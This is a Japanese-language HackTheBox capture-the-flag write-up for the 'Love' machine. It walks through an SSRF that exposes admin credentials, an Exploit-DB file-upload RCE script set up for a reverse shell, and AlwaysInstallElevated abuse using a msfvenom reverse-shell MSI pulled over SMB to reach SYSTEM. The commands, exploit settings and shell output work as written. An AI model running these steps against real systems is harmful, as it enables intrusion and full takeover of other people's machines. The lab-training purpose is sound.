【HackTheBox】Love Writeup

Recon
nmap
┌──(kali㉿kali)-[~/Downloads]
└─$ nmap -Pn 10.10.10.239 -sVC -p 80,443,445,3306,5000
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Voting System using PHP
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host '10.10.14.7' is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.93%I=7%D=2/1%Time=65BBB44D%P=x86_64-pc-linux-gnu%r(NUL
SF:L,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.7'\x20is\x20not\x20allowed
SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-02-01T15:33:24
|_ start_date: N/A
|_clock-skew: mean: 3h03m06s, deviation: 4h37m11s, median: 23m04s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: Love
| NetBIOS computer name: LOVE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2024-02-01T07:33:28-08:00
open portを-sVCでスキャンしました。3つのウェブサーバーとsmbとsqlがありました。
port443のssl certからドメイン名はstaging.love.htbであることがわかりました。love.htbとstaging.love.htbを/etc/hostsに入れます。
web servers (port 80,443,5000)
port 443と5000は403 Forbiddenでした。
port 80
love.htb
トップページにログインフォームがありました。

gobusterでadminのログインページを発見しました。

staging.love.htb
staging subdomainに違うサイトがありました。トップページのサインアップフォームは機能していないです。

beta.phpに行くと、file scannerのデモがありました。attack box上のファイルを指定してみると、ファイルのコンテンツが表示されました。

burpでリクエストを見るとこんな感じです。

command injectionとLFIを試しましたが、上手くいかなかったです。
localhostをリクエストしてみたら、love.htbのページが出てきました!これで403になっていたページがみれるかもしれないですね。

見れなかったport443と5000もみてみます。port 5000にadminの認証情報がありました。

voting system exploit
ではadmin:@LoveIsInTheAir!!!でlove.htb/adminにログインします。

このvoting systemは既存のサービスっぽいので、exploitを検索してみます。
votingsystem sourcecodesterで検索したら、exploit dbのページが出てきました。ファイルアップロードの脆弱性です。
searchsploitで検索して、コピーします。
┌──(kali㉿kali)-[~]
└─$ searchsploit 49445
------------------------------------------------- ------------------------
Exploit Title | Path
------------------------------------------------- ------------------------
Voting System 1.0 - File Upload RCE (Authenticat | php/webapps/49445.py
------------------------------------------------- ------------------------
searchsploit -m php/webapps/49445.py
コードの中のURLを直します。IP、credentailsなども設定します。
<SNIP>
import requests
# --- Edit your settings here ----
IP = "love.htb" # Website's URL
USERNAME = "admin" #Auth username
PASSWORD = "@LoveIsInTheAir!!!!" # Auth Password
REV_IP = "10.10.14.7" # Reverse shell IP
REV_PORT = "9001" # Reverse port
# --------------------------------
INDEX_PAGE = f"http://{IP}/admin/index.php"
LOGIN_URL = f"http://{IP}/admin/index.php"
VOTE_URL = f"http://{IP}/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/images/shell.php"
payload = """
<SNIP>
実行したらシェルが取れました。ユーザーはphoebeです。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
C:\xampp\htdocs\omrs\images>whoami
whoami
love\phoebe
Shell as phoebe
winpeas
Winpeasを実行するとAlwaysInstallElevatedが有効になっていることがわかりました。
PS C:\ProgramData> .\winPEASx64.exe quiet systeminfo
<SNIP>
���������� Checking AlwaysInstallElevated
� https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!
直接コマンドで確認することもできます。
PS C:\ProgramData> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
PS C:\ProgramData> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
abuse AlwaysInstallElevated privileges
この設定が有効だと、msiファイルはSYSTEM権限でインストール/実行されます。
msfvenomでrev shellのmsiファイルを作って、target boxにアップロードして実行します。
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.7 lport=1337 -f msi > aie.msi
impacket-smbserver share . -smb2support
PS C:\ProgramData> copy \\10.10.14.7\share\aie.msi
PS C:\ProgramData> msiexec /i C:\ProgramData\aie.msi /quiet /qn /norestart
Shell as system
listenerにsystemのシェルが来ました。
┌──(kali㉿kali)-[~/love]
└─$ nc -lvnp 1337
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
whoami
nt authority\system
C:\WINDOWS\system32>type C:\Users\Administrator\Desktop\root.txt
rootフラグが取れました!
Memo
HTB AcademyのWindows privilege escalationモジュール、おすすめです。
Discussion